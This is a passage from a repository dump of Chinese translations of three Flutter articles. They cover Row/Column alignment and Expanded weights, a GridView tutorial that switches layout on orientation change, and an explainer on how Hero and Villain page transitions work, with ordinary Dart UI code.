属性进行比较。\n\n![](https://cdn-images-1.medium.com/max/1000/1*zQD7Hhg5WITKdQF1hqZyiQ.png)\n\n现在，让我们将它与列控件进行比较。\n\n![](https://cdn-images-1.medium.com/max/1000/1*cJFYgsnUl5hE5DLPCkbLMA.png)\n\n>练习：您可以尝试其它枚举值，即 `spaceEvenly `, `spaceAround `，`spaceBetween`，其行为与我们在 ConstraintLayout 中使用的垂直/水平链相同。\n\n\n#### 2. [交叉轴对齐](https://docs.flutter.io/flutter/rendering/CrossAxisAlignment-class.html) :\n\n这个属性定义了子 view 应该如何沿横轴放置。这意味着如果我们使用 Row 小部件，则子 view 的权重将基于垂直线。如果我们使用 Column 小部件，那么子 view 将以水平线为基准。\n\n这听起来很混乱吧！不要担心，随着阅读的进一步深入，你会理解得更透彻。\n\n为了更好地理解，我们使它成为 `wrap_content`，即 `MainAxisSize.min`。你可以像下面的代码一样定义一个 `CrossAxisAlignment. start` 属性。\n\n```\n....\nbody: new Container(\n  color: Colors.yellowAccent,\n  child: new Row(\n    mainAxisSize: MainAxisSize.min,\n    crossAxisAlignment: CrossAxisAlignment.start,\n    children: [...],\n  ),\n)\n...\n```\n\n因此，在此下面输出将 LinearLayout 属性与 Row Widget 中的 CrossAxisAlignment 属性进行比较。\n\n![](https://cdn-images-1.medium.com/max/1000/1*10EUefrNcIUIW3GGR5pRQg.png)\n\n现在，让我们将它与列控件进行比较。\n\n\n![](https://cdn-images-1.medium.com/max/1000/1*GdfFwLT_933GOj-KU9yeag.png)\n\n\n拉伸行为有点不同，它将小部件伸展到最大可用空间，即与其交叉轴 `match_parent`。\n\n### 3. 布局权重\n\n要创建一个线性布局，其中每个子 view 使用相同的空间或在屏幕上以特定比例划分空间，我们将每个视图的 `android:layout_height` 设置为 `\"0dp\"`（对于垂直布局）或将每个视图的 `android:layout_width` 设置为 `\"0dp\"`（对于水平布局）。然后将每个视图的 `android:layout_weight` 设置为 `\"1\"` 或根据要划分的空间设置其它任何值。\n\n为了在 flutter Row/Column 小部件中实现同样的功能，我们将每个子 view 包装到一个 `Expanded` 小部件中，该小部件的 flex 属性等同于我们的 `android:layout_weight`，因此通过定义 flex 值我们定义该应用特定子元素的空间量。\n\n这就是你如何为每个孩子定义权重/弹性。\n```\nimport 'package:flutter/material.dart';\n\nvoid main() => runApp(new MyApp());\n\nclass MyApp extends StatefulWidget {\n  @override\n  _MyAppState createState() => new _MyAppState();\n}\n\nclass _MyAppState extends State<MyApp> {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      home: new Scaffold(\n        appBar: new AppBar(\n          title: new Text(\"LinearLayout Example\"),\n        ),\n        body: new Container(\n          color: Colors.yellowAccent,\n          child: new Container(\n            child: new Row(\n              children: [\n                new Expanded(\n                  child: new Container(\n                    child: new Icon(\n                      Icons.access_time,\n                      size: 50.0,\n                    ),\n                    color: Colors.red,\n                  ),\n                  flex: 2,\n                ),\n                new Expanded(\n                  child: new Container(\n                    child: new Icon(\n                      Icons.pie_chart,\n                      size: 100.0,\n                    ),\n                    color: Colors.blue,\n                  ),\n                  flex: 4,\n                ),\n                new Expanded(\n                  child: new Container(\n                    child: new Icon(\n                      Icons.email,\n                      size: 50.0,\n                    ),\n                    color: Colors.green,\n                  ),\n                  flex: 6,\n                ),\n              ],\n            ),\n          ),\n        ),\n      ),\n    );\n  }\n}\n```\n\n为了更好地理解，我们将每个图标包装在具有背景颜色的容器中，以便轻松识别窗口小部件已覆盖的空间。\n\n![](https://cdn-images-1.medium.com/max/800/1*hLp6mC4eMA0RFp5dSFLlVg.png)\n\n### 总结\n\nLinearLayout 在 Android 中大量使用，与 Row/Column 小部件相同。希望在即将到来的博客中涵盖更多主题。我已经创建了一个示例应用程序来演示 Row/Column 属性以及这些属性在组合时如何工作。\n![](https://cdn-images-1.medium.com/max/800/1*fbdY7IRyItUIW37WhqWzQQ.gif)\n\n看看这里的 android 例子。\n\n[burhanrashid52 / FlutterForAndroidExample：通过在GitHub上创建一个帐户，为 FlutterForAndroidExample 开发做出贡献。](https://github.com/burhanrashid52/FlutterForAndroidExample)\n\n**谢谢 ！！！**\n\n**如果您觉得这篇文章有帮助。请收藏，分享和拍手，这样其他人会在中看到这一点。如果您有任何问题或建议，请在博客上自由发表评论，或在 Twitter，Github 或 Reddit 上给我点赞。**\n\n**要获取我即将发布的博客的最新更新，请在 Medium，Twitter，Github 或Reddit 上关注我。**\n\n* [**Burhanuddin Rashid (@burhanrashid52) | Twitter**](https://twitter.com/burhanrashid52)\n\n* [**burhanrashid52 (Burhanuddin Rashid) GitHub**](https://github.com/burhanrashid52)\n\n* [**burhanrashid52 (u/burhanrashid52) — Reddit**](https://www.reddit.com/user/burhanrashid52/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-getting-started-tutorial-5-grid.md",
    "content": "> * 原文地址：[Flutter Getting Started: Tutorial 5 Grid](https://medium.com/@thatsalok/flutter-getting-started-tutorial-5-grid-1b0bbcb7cba8)\n> * 原文作者：[Alok Gupta](https://medium.com/@thatsalok?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-getting-started-tutorial-5-grid.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-getting-started-tutorial-5-grid.md)\n> * 译者：[YueYong](https://github.com/YueYongDev)\n\n# Flutter 系列入门教程五：网格\n\n### 介绍\n\n**Flutter** `GridView` 几乎与 `ListView` 相同，只是它提供了与 `ListView` 单向视图的 2D 视图比较。同时它也是移动应用开发中非常受欢迎的小部件。如果你不相信我，那就举个例子，打开你手机中的任何一个电子商务应用，它肯定是依赖于 `ListView` 或 `GridView` 来显示数据的。\n\n**Amazon** 移动应用程序利用网格显示数据\n\n![](https://cdn-images-1.medium.com/max/800/1*mZMDK4IHEUf8sV6ClVEb9g.png)\n\n另一个是 **PayTM**，它是印度流行的在线钱包服务应用之一，它广泛使用网格布局来显示不同的产品\n\n![](https://cdn-images-1.medium.com/max/800/1*DIxbiVggbE4T2vz8JTT73g.png)\n\n### 背景\n\n本文的最终目的是实现类似的界面：\n\n![](https://cdn-images-1.medium.com/max/800/1*n30ql6oDnzcT7o2ne3Wykg.png)\n\n但是，如果你注意到上面的图像，那是横屏模式下的。所以我将在本文中做以下的事情，当应用程序处于竖屏模式时，移动 APP 将在 `ListView` 中显示项目，当它处于横屏模式时，将会在网格中每行显示3个条目。我还通过在单独的类中移动 gridview 来实现创建自定义窗口小部件。\n\n### 使用代码\n\n我将以我之前的文章为基础 [Flutter Getting Started: Tutorial 4 ListView](https://medium.com/@thatsalok/flutter-getting-started-tutorial-4-listview-8326c9ed5524)，我已经创建了基于 ListView 的应用程序，这里是初始项目结构和初始UI。\n\n这是我们开始构建的初始代码\n\n```\nclass HomePage extends StatelessWidget {\n  final List<City> _allCities = City.allCities();\n\n  HomePage() {}\n  final GlobalKey scaffoldKey = new GlobalKey();\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n        key: scaffoldKey,\n        appBar: new AppBar(\n          title: new Text(\n            \"Cites around world\",\n            style: new TextStyle(\n                fontSize: 18.0,\n                fontWeight: FontWeight.bold,\n                color: Colors.black87),\n          ),\n        ),\n        body: new Padding(\n            padding: EdgeInsets.fromLTRB(0.0, 10.0, 0.0, 0.0),\n            child: getHomePageBody(context)));\n  }\n\n  getHomePageBody(BuildContext context) {\n   \n      return ListView.builder(\n        itemCount: _allCities.length,\n        itemBuilder: _getListItemUI,\n        padding: EdgeInsets.all(0.0),\n      );\n   \n  }\n\n  Widget _getListItemUI(BuildContext context, int index,\n      {double imgwidth: 100.0}) {\n    return new Card(\n        child: new Column(\n      children: <Widget>[\n        new ListTile(\n          leading: new Image.asset(\n            \"assets/\" + _allCities[index].image,\n            fit: BoxFit.fitHeight,\n            width: imgwidth,\n          ),\n          title: new Text(\n            _allCities[index].name,\n            style: new TextStyle(fontSize: 14.0, fontWeight: FontWeight.bold),\n          ),\n          subtitle: new Column(\n              mainAxisAlignment: MainAxisAlignment.start,\n              crossAxisAlignment: CrossAxisAlignment.start,\n              children: <Widget>[\n                new Text(_allCities[index].country,\n                    style: new TextStyle(\n                        fontSize: 13.0, fontWeight: FontWeight.normal)),\n                new Text('Population: ${_allCities[index].population}',\n                    style: new TextStyle(\n                        fontSize: 11.0, fontWeight: FontWeight.normal)),\n              ]),\n          onTap: () {\n            _showSnackBar(context, _allCities[index]);\n          },\n        )\n      ],\n    ));\n  }\n\n  _showSnackBar(BuildContext context, City item) {\n    final SnackBar objSnackbar = new SnackBar(\n      content: new Text(\"${item.name} is a city in ${item.country}\"),\n      backgroundColor: Colors.amber,\n    );\n\n    Scaffold.of(context).showSnackBar(objSnackbar);\n  }\n}\n```\n\n在开始实际任务之前，让我简要介绍一下我上面做过的事情\n\n*   我已经使用 `ListView.builder` 创建了简单的 `ListView`，它可以灵活地创建无限的 listitem 视图，因为它只调用那些可以在屏幕上显示的项目的回调函数。\n*   我正在显示城市信息，如城市地标图像，其次是城市名称，城市所属的国家和她的人口。\n*   最后点击，它在屏幕底部显示小的会自动消失的消息，称为 `SnackBar`。\n\n现在开始我们的工作，正如我之前提到的，我们将把新的 widget 重构为不同的类，以保持我们的代码模块化并提高代码的可读性。因此，在 `lib` 文件夹下创建一个新的文件夹，并添加新的 DART 文件 `mygridview.dart`。\n\n添加文件后，首先通过 `'package:flutter/material.dart'` 导入 material 组件，然后添加 `MyGridView` 类来继承我们最喜欢的 `StatelessWidget` 并复写 `Build` 函数，代码如下所示\n\n```\nimport 'package:flutter/material.dart';\nimport 'package:flutter5_gridlist/model/city.dart';\n\nclass MyGridView extends StatelessWidget {\n  final List<City> allCities;\n  MyGridView({Key key, this.allCities}) : super(key: key);\n\n  @override\n  Widget build(BuildContext context) {\n    return null;\n  }\n}\n```\n\n我现在添加基本的 GridView 只显示城市名称，所以我将在重写的 Build 函数中添加以下代码\n\n```\n@override\nWidget build(BuildContext context) {\n  return GridView.count(\n    crossAxisCount: 3,\n    padding: EdgeInsets.all(16.0),\n     childAspectRatio: 8.0,\n    children: _getGridViewItems(context),\n  );\n}\n_getGridViewItems(BuildContext context){\n  List<Widget> allWidgets = new List<Widget>();\n  for (int i = 0; i < allCities.length; i++) {\n    var widget = new Text(allCities[i].name);\n    allWidgets.add(widget);\n  };\n  return allWidgets;\n}\n```\n\n对上述代码的解释\n\n*   `GridView.count` 方法将为应用程序提供 GridView 小部件\n*   `crossAxisCount` 属性用于让移动应用程序知道我们想要显示每行的项目数\n*   `children` 属性将包含您希望在加载页面时显示的所有小部件\n*   `childAspectRatio`，它是每个子节点的横轴与主轴范围的比率，因为我显示的是名称，所以我统一设置为 8.0，以便减少两个图块之间的边距 \n\n这是UI的样子\n\n![](https://cdn-images-1.medium.com/max/800/1*E9Q1cPyQ0hWJEC1uNvqGtQ.png)\n\n现在我们来改变 UI 让其类似于我们看到的 ListView。在这里我创建了一个新的函数，它将以 Card 的形式发送 City 类\n\n```\n// Create individual item\n_getGridItemUI(BuildContext context, City item) {\n  return new InkWell(\n      onTap: () {\n        _showSnackBar(context, item);\n      },\n      child: new Card(\n        child: new Column(\n          crossAxisAlignment: CrossAxisAlignment.start,\n          children: <Widget>[\n            new Image.asset(\n              \"assets/\" + item.image,\n              fit: BoxFit.fill,\n              \n            ),\n            new Expanded(\n                child: new Center(\n                    child: new Column(\n              children: <Widget>[\n                new SizedBox(height: 8.0),\n                new Text(\n                  item.name,\n                  style: new TextStyle(\n                    fontSize: 20.0,\n                    fontWeight: FontWeight.bold,\n                  ),\n                ),\n                new Text(item.country),\n                new Text('Population: ${item.population}')\n              ],\n            )))\n          ],\n        ),\n        elevation: 2.0,\n        margin: EdgeInsets.all(5.0),\n      ));\n}\n```\n\n**上述代码的解释**\n\n*   我正在使用 `Inkwell` 类，因为 Card 类不直接支持手势，所以我把它包装在 InkWell 类中，利用它的 `onTap` 事件替换 SnackBar\n*   其余代码类似于 `ListView` 的卡片，但未指定宽度\n*   此外，由于我们正在显示完整的卡片，因此我们不要忘记将 `childAspectRatio` 从 8.0 更改为 8.0/9.0，因为我们需要更多的高度。\n\n如果没有忘记的话，在开始做程序时我就说过，我将在纵向方向上显示 `ListView`，在横向方向上显示 `GridView`，为了实现它我们需要 `MediaQuery` 类来识别方向。无论何时更改方向，你都可以决定哪些代码应该被调用，也就是说，即使你倾斜移动窗口都会调用 `Build` 函数，小部件也都会重新绘制。所以在 `homepage.dart` 类中我们将使用以下函数来处理 Orientation 更改的问题\n\n```\ngetHomePageBody(BuildContext context) {\n  if (MediaQuery.of(context).orientation == Orientation.portrait)\n    return ListView.builder(\n      itemCount: _allCities.length,\n      itemBuilder: _getListItemUI,\n      padding: EdgeInsets.all(0.0),\n    );\n  else\n    return new MyGridView(allCities: _allCities);\n}\n```\n\n因此，最终的 UI 将是这样的\n\n![](https://cdn-images-1.medium.com/max/800/1*IDL_nruBR9S9JW0UlX_zjw.gif)\n\n本教程结束\n\n### 兴趣点\n\n请仔细阅读这些文章。它可能会给你一个你真正需要的指引：\n\n1.  [https://material.io/design/components/cards.html](https://material.io/design/components/cards.html#)\n2.  Github : [https://github.com/thatsalok/FlutterExample/tree/master/flutter5_gridlist](https://github.com/thatsalok/FlutterExample/tree/master/flutter5_gridlist)\n\n### Flutter 教程\n\n1.  [Flutter Getting Started: Tutorial 1 Basics](https://medium.com/@thatsalok/flutter-getting-started-tutorial-1-basics-8714e751408f)\n2.  [Flutter Getting Started: Tutorial 4 ListView](https://medium.com/@thatsalok/flutter-getting-started-tutorial-4-listview-8326c9ed5524)\n\n### Dart 教程\n\n1.  [DART2 Prima Plus — Tutorial 1](https://www.codeproject.com/Articles/1251136/DART-Prima-Plus-Tutorial)\n2.  [DART2 Prima Plus — Tutorial 2 — LIST](https://www.codeproject.com/Articles/1251343/DART2-Prima-Plus-Tutorial-2-LIST)\n3.  [DART2 Prima Plus — Tutorial 3 — MAP](https://www.codeproject.com/Articles/1252345/DART2-Prima-Plus-Tutorial-3-MAP)\n\n### 历史\n\n*   22-July-2018：第一个版本\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-heroes-and-villains-bringing-balance-to-the-flutterverse.md",
    "content": "> * 原文地址：[Flutter Heroes and Villains — bringing balance to the Flutterverse.](https://medium.com/flutter-community/flutter-heroes-and-villains-bringing-balance-to-the-flutterverse-2e900222de41)\n> * 原文作者：[Norbert](https://medium.com/@norbertkozsir?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-heroes-and-villains-bringing-balance-to-the-flutterverse.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-heroes-and-villains-bringing-balance-to-the-flutterverse.md)\n> * 译者：[DateBro](https://github.com/DateBro)\n\n# Flutter 的 Heroes 和 Villains —— 为 Flutterverse 带来平衡\n\n## 这是一个关于 Heroes 和 Villains 如何运行的故事。\n\n![](https://cdn-images-1.medium.com/max/1600/1*AHypbXYdBWnNfLoeseJ3lw.gif)\n\n一个 Hero 常常与多个 Villain 相伴而生。\n\n__Villain 允许你只需几行代码就可以添加上面的页面转换。__\n\n安装包在[这里](https://github.com/Norbert515/flutter_villains)。你可以在项目的 [README](https://github.com/Norbert515/flutter_villains/blob/master/README.md) 如何使用 Villains。这篇文章更侧重于解释 Heroes 和 Villains 以及所有这些背后的思考过程。\n\nFlutter 最令惊奇的一点是它为所有东西提供漂亮和干净的 API。我**喜欢**你使用 Hero 的方式。两行简单的代码，它就生效了。你只需要把 Hero 扔到这两个地方，按照标签分配，其它就不需要管了。\n\n* * *\n\n### 在你理解 Villain 之前，你必须先理解 Hero。\n\n![](https://cdn-images-1.medium.com/max/1600/1*QbbLnNEKCz02skDo2QRuOg.gif)\n\n先简单了解一下 Hero。\n\n我们来快速了解一下 Hero 是如何实现的。\n\n#### 概览\n\nHero 的动画涉及三个主要步骤。\n\n**1. 找到并匹配 Heroes**\n\n第一步是确定哪些 Hero 存在以及哪些 Hero 具有相同的标记。\n\n**2. 确定 Hero 位置**\n\n然后，捕获两个 Hero 的位置并准备好旅程。\n\n**3. 启动旅程**\n\n旅程始终在新屏幕上进行，而不在实际的组件中。在开始页面上的组件在旅程期间被替换成空的占位符组件 `(SizedBox)`。而使用 `Overlay`（`Overlay`可以在所有内容上显示组件）。\n\n> 整个 Hero 动画发生在正在打开的页面上。组件是完全独立，不在页面之间共享任何状态的。\n\n* * *\n\n#### NavigationObserver\n\n可以通过 `NavigationObserver` 观察压入和弹出路由的事件。\n\n```\n/// 一个管理 [Hero] 过渡的 [Navigator] observer。\n///\n/// 应该在 [Navigator.observers] 中使用 [HeroController] 的实例。\n/// 这由 [MaterialApp] 自动完成。\nclass HeroController extends NavigatorObserver\n```\n\n[HeroController](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/heroes.dart#L431)\n\nHero 使用这个类开始旅程。除了能够自己添加 `NavigationObservers` 之外，`MaterialApp` 默认添加了 `HeroController`。[__看一下这里。__](https://github.com/flutter/flutter/blob/v0.5.5/packages/flutter/lib/src/material/app.dart#L598)\n\n#### Hero 组件\n\n```\n  /// 创建一个 Hero\n  ///\n  /// [tag] 和 [child] 必须非空。\n  const Hero({\n    Key key,\n    @required this.tag,\n    this.createRectTween,\n    @required this.child,\n  }) : assert(tag != null),\n       assert(child != null),\n       super(key: key);\n```\n\n[Hero](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/heroes.dart#L80) 的构造器\n\nHero 组件实际上并没有做太多。它拥有 child 和 tag。除此之外，`createRectTween` 参数决定了 `Hero` 在飞往目的地时所采用的路由。默认的实现是 `MaterialRectArcTween`。顾名思义，它将 Hero 沿弧线移动到最终位置。\n\nHero 的状态也负责捕获大小并用占位符替换自己。\n\n#### `_allHeroesFor`\n\n元素（具体组件）放在树中。通过访客，你可以沿着树下去并收集信息。\n\n```\n  // 返回上下文中所有 Hero 的 map，由 hero 标记索引。\n  static Map<Object, _HeroState> _allHeroesFor(BuildContext context) {\n    assert(context != null);\n    final Map<Object, _HeroState> result = <Object, _HeroState>{};\n    void visitor(Element element) {\n      if (element.widget is Hero) {\n        final StatefulElement hero = element;\n        final Hero heroWidget = element.widget;\n        final Object tag = heroWidget.tag;\n        assert(tag != null);\n        assert(() {\n          if (result.containsKey(tag)) {\n            throw new FlutterError(\n              'There are multiple heroes that share the same tag within a subtree.\\n'\n              'Within each subtree for which heroes are to be animated (typically a PageRoute subtree), '\n              'each Hero must have a unique non-null tag.\\n'\n              'In this case, multiple heroes had the following tag: $tag\\n'\n              'Here is the subtree for one of the offending heroes:\\n'\n              '${element.toStringDeep(prefixLineOne: \"# \")}'\n            );\n          }\n          return true;\n        }());\n        final _HeroState heroState = hero.state;\n        result[tag] = heroState;\n      }\n      element.visitChildren(visitor);\n    }\n    context.visitChildElements(visitor);\n    return result;\n  }\n```\n\n[heroes.dart](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/heroes.dart#L119)\n\n在方法内部声明了一个名为 visitor 的内联函数。`context.visitChildElements(visitor)` 方法和 `element.visitChildren(vistor)` 直到访问完上下文的所有元素才调用函数。在每次访问时，它会检查这个 child 是否为 `Hero`，如果是，则将其保存到 map 中。\n\n#### 旅程的开始\n\n```\n  // 在 from 和 to 中找到匹配的 Hero 对，并启动新的 Hero 旅程，\n  // 或转移现有的 Hero 旅程。\n  void _startHeroTransition(PageRoute<dynamic> from, PageRoute<dynamic> to, _HeroFlightType flightType) {\n    // 如果在调用帧尾回调之前删除了导航器或其中一个路由子树，\n    // 那么接下来实际上不会开始转换。\n    if (navigator == null || from.subtreeContext == null || to.subtreeContext == null) {\n      to.offstage = false; // in case we set this in _maybeStartHeroTransition\n      return;\n    }\n\n    final Rect navigatorRect = _globalBoundingBoxFor(navigator.context);\n\n    // 在这一点上，toHeroes 可能是第一次建造和布局。\n    final Map<Object, _HeroState> fromHeroes = Hero._allHeroesFor(from.subtreeContext);\n    final Map<Object, _HeroState> toHeroes = Hero._allHeroesFor(to.subtreeContext);\n\n    // 如果 `to` 路由是在屏幕外的，\n    // 那么我们暗中将其动画值恢复到它“移到”屏幕外之前的状态。\n    to.offstage = false;\n\n    for (Object tag in fromHeroes.keys) {\n      if (toHeroes[tag] != null) {\n        final _HeroFlightManifest manifest = new _HeroFlightManifest(\n          type: flightType,\n          overlay: navigator.overlay,\n          navigatorRect: navigatorRect,\n          fromRoute: from,\n          toRoute: to,\n          fromHero: fromHeroes[tag],\n          toHero: toHeroes[tag],\n          createRectTween: createRectTween,\n        );\n        if (_flights[tag] != null)\n          _flights[tag].divert(manifest);\n        else\n          _flights[tag] = new _HeroFlight(_handleFlightEnded)..start(manifest);\n      } else if (_flights[tag] != null) {\n        _flights[tag].abort();\n      }\n    }\n  }\n```\n\n[heroes.dart](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/heroes.dart#L499)\n\n这会响应路由压入/弹出事件而被调用。在第 14 行和第 15 行，你可以看到 `_allHeroesFor` 调用，它可以在两个页面上找到所有 Hero。从第 21 行开始构建 `_HeroFlightManifest` 并启动旅程。从这里开始，有一堆动画的代码设置和边缘情况的处理。我建议你看一下[整个类](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/heroes.dart)，这很有意思，里面还有很多值得学习的东西。你也可以看一下[这个](https://flutter.io/animations/hero-animations/)。\n\n* * *\n\n### Villains 是如何运行的\n\nVillains 要比 Hero 更简单。\n\n![](https://cdn-images-1.medium.com/max/1600/1*DyLbjknJBTxiDOWhcZf0bg.gif)\n\nHero 和 3 个 Villain 使用（AppBar，Text，FAB）。\n\n他们使用相同的机制来查找给定上下文的所有 Villain，他们还使用 `NavigationObserver` 自动对页面转换做出反应。但不是从一个屏幕到另一个屏幕的动画，而是仅在它们各自的屏幕上做的动画。\n\n#### SequenceAnimation 和 自定义 TickerProvider\n\n处理动画时，通常使用 `SingleTickerProviderStateMixin` 或 `TickerProviderStateMixin`。在这种情况下，动画不会在 `StatefulWidget` 中启动，因此我们需要另一种方法来访问 `TickerProvider`。\n\n```\nclass TransitionTickerProvider implements TickerProvider {\n  final bool enabled;\n\n  TransitionTickerProvider(this.enabled);\n\n  @override\n  Ticker createTicker(TickerCallback onTick) {\n    return new Ticker(onTick, debugLabel: 'created by $this')..muted = !this.enabled;\n  }\n}\n```\n\n自定义一个 ticker 非常简单。所有这一切都是为了实现 `TickerProvider` 接口并返回一个新的 `Ticker`。\n\n```\n  static Future playAllVillains(BuildContext context, {bool entrance = true}) {\n    List<_VillainState> villains = VillainController._allVillainssFor(context)\n      ..removeWhere((villain) {\n        if (entrance) {\n          return !villain.widget.animateEntrance;\n        } else {\n          return !villain.widget.animateExit;\n        }\n      });\n\n    // 用于新页面动画的控制器，因为它的时间比实际页面转换更长\n\n    AnimationController controller = new AnimationController(vsync: TransitionTickerProvider(TickerMode.of(context)));\n\n    SequenceAnimationBuilder builder = new SequenceAnimationBuilder();\n\n    for (_VillainState villain in villains) {\n      builder.addAnimatable(\n        anim: Tween<double>(begin: 0.0, end: 1.0),\n        from: villain.widget.villainAnimation.from,\n        to: villain.widget.villainAnimation.to,\n        tag: villain.hashCode,\n      );\n    }\n\n    SequenceAnimation sequenceAnimation = builder.animate(controller);\n\n    for (_VillainState villain in villains) {\n      villain.startAnimation(sequenceAnimation[villain.hashCode]);\n    }\n\n    //开始动画\n    return controller.forward().then((_) {\n      controller.dispose();\n    });\n  }\n```\n\n首先，所有不应该展示的 Villain（那些将 animateExit/animateEntrance 设置为 false 的人）都会被过滤掉。然后创建一个带有自定义 `TickerProvider` 的 `AnimationController`。使用 [SequenceAnimation](https://pub.dartlang.org/packages/flutter_sequence_animation) 库，每个 `Villain` 被分配一个动画，它们在各自的时间中运行 0.0 —— 1.0（`from` 和 `to` 持续时间）。最后，动画全部开始。当它们全部完成时，控制器被丢弃。\n\n#### Villains 的 build() 方法\n\n```\n  @override\n  Widget build(BuildContext context) {\n    Widget animatedWidget = widget.villainAnimation\n        .animatedWidgetBuilder(widget.villainAnimation.animatable.chain(CurveTween(curve: widget.villainAnimation.curve)).animate(_animation), widget.child);\n    if (widget.secondaryVillainAnimation != null) {\n      animatedWidget = widget.secondaryVillainAnimation.animatedWidgetBuilder(\n          widget.secondaryVillainAnimation.animatable.chain(CurveTween(curve: widget.secondaryVillainAnimation.curve)).animate(_animation), animatedWidget);\n    }\n\n    return animatedWidget;\n  }\n```\n\n这可能看起来很可怕，但请先忍耐一下。让我们看看第 3 行和第 4 行。`widget.villainAnimation.animatedWidgetBuilder` 是一个自定义的 typedef：\n\n```\ntypedef Widget AnimatedWidgetBuilder(Animation animation, Widget child);\n```\n\n它的工作是返回一个根据动画绘制的组件（大多数时候返回的组件是一个 `AnimatedWidget`）。\n\n它得到了 Villain 的 child 和这个动画：\n\n```\nwidget.villainAnimation.animatable.chain(CurveTween(curve: widget.villainAnimation.curve)).animate(_animation)\n```\n\n链方法首先评估 `CurveTween`。然后它使用该值来评估调用它的 `animatable`。这只是将所需的曲线添加到动画中。\n\n**这是关于 Villain 如何工作的粗略概述，请务必也查看[源代码](https://github.com/Norbert515/flutter_villains/blob/master/lib/villains/villains.dart)并大胆地提出你们的问题。**\n\n* * *\n\n### 可变的静态变量很槽糕，让我解释一下\n\n深夜，我坐在我的办公桌前，写下测试。几个小时后，每一次单独的测试都过去了，似乎没有 bug。就在睡觉之前，我把所有的测试都放在一起，以确保它真的没问题。然后发生了这个：\n\n![](https://cdn-images-1.medium.com/max/1600/1*l2ugqc801sM0pm6FVa8KsQ.png)\n\n每个测试都只能单独通过。\n\n我很困惑。每次测试都成功。果然，当我自己运行这两个测试时，它们很正常。但是当一起运行所有测试时，最后两个失败了。WTF。\n\n第一反应显然是：“我的代码肯定没错，它一定对测试的执行方式做了些什么！也许测试是并行播放因此相互干扰？也许是因为我使用了相同的键？”\n\nBrian Egan 向我指出，删除一个特定的测试修复了错误并将其移到顶部使得其他所有测试也失败了。如果那不是“共享数据”那么我不知道是什么。\n\n当我发现问题是什么时，我忍不住笑了。这正是在某些情况下使用静态变量不好的原因。\n\n基本上，预定义的动画都是静态的。我懒得为每个动画编写一个方法来获取 `VillainAnimation` 所需的所有参数。所以我使 `VillainAnimation` __是可变的（坏主意）__。这样我就没有必要在方法中明确写出所有必要的参数。使用时看起来像这样：\n\n```\nVillain(\n  villainAnimation: VillainAnimation.fromBottom(0.4)\n    ..to = Duration(milliseconds: 150),\n  child: Text(\"HI\"),\n)\n```\n\n打破一切的测试应该在页面转换完成后开始测试 Villain 转换。它将动画的起点设置为 1 秒。因为它是在静态引用上设置它，之后的测试使用它作为默认值。测试失败，因为动画无法在 1 秒到 750 毫秒之间运行。\n\n修复很简单（使一切都不可变并在方法中传递参数）但我仍然觉得这个小错误非常有趣。\n\n* * *\n\n### 总结\n\n感谢 Villain 恢复了好坏之间的平衡。\n\n关于 #fluttervillains 的意见和讨论是受欢迎的。如果你使用 Villain 一起制作很酷的动画，我很希望看到它。\n\n[我的 Twitter: @norbertkozsir](https://twitter.com/norbertkozsir?lang=en)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 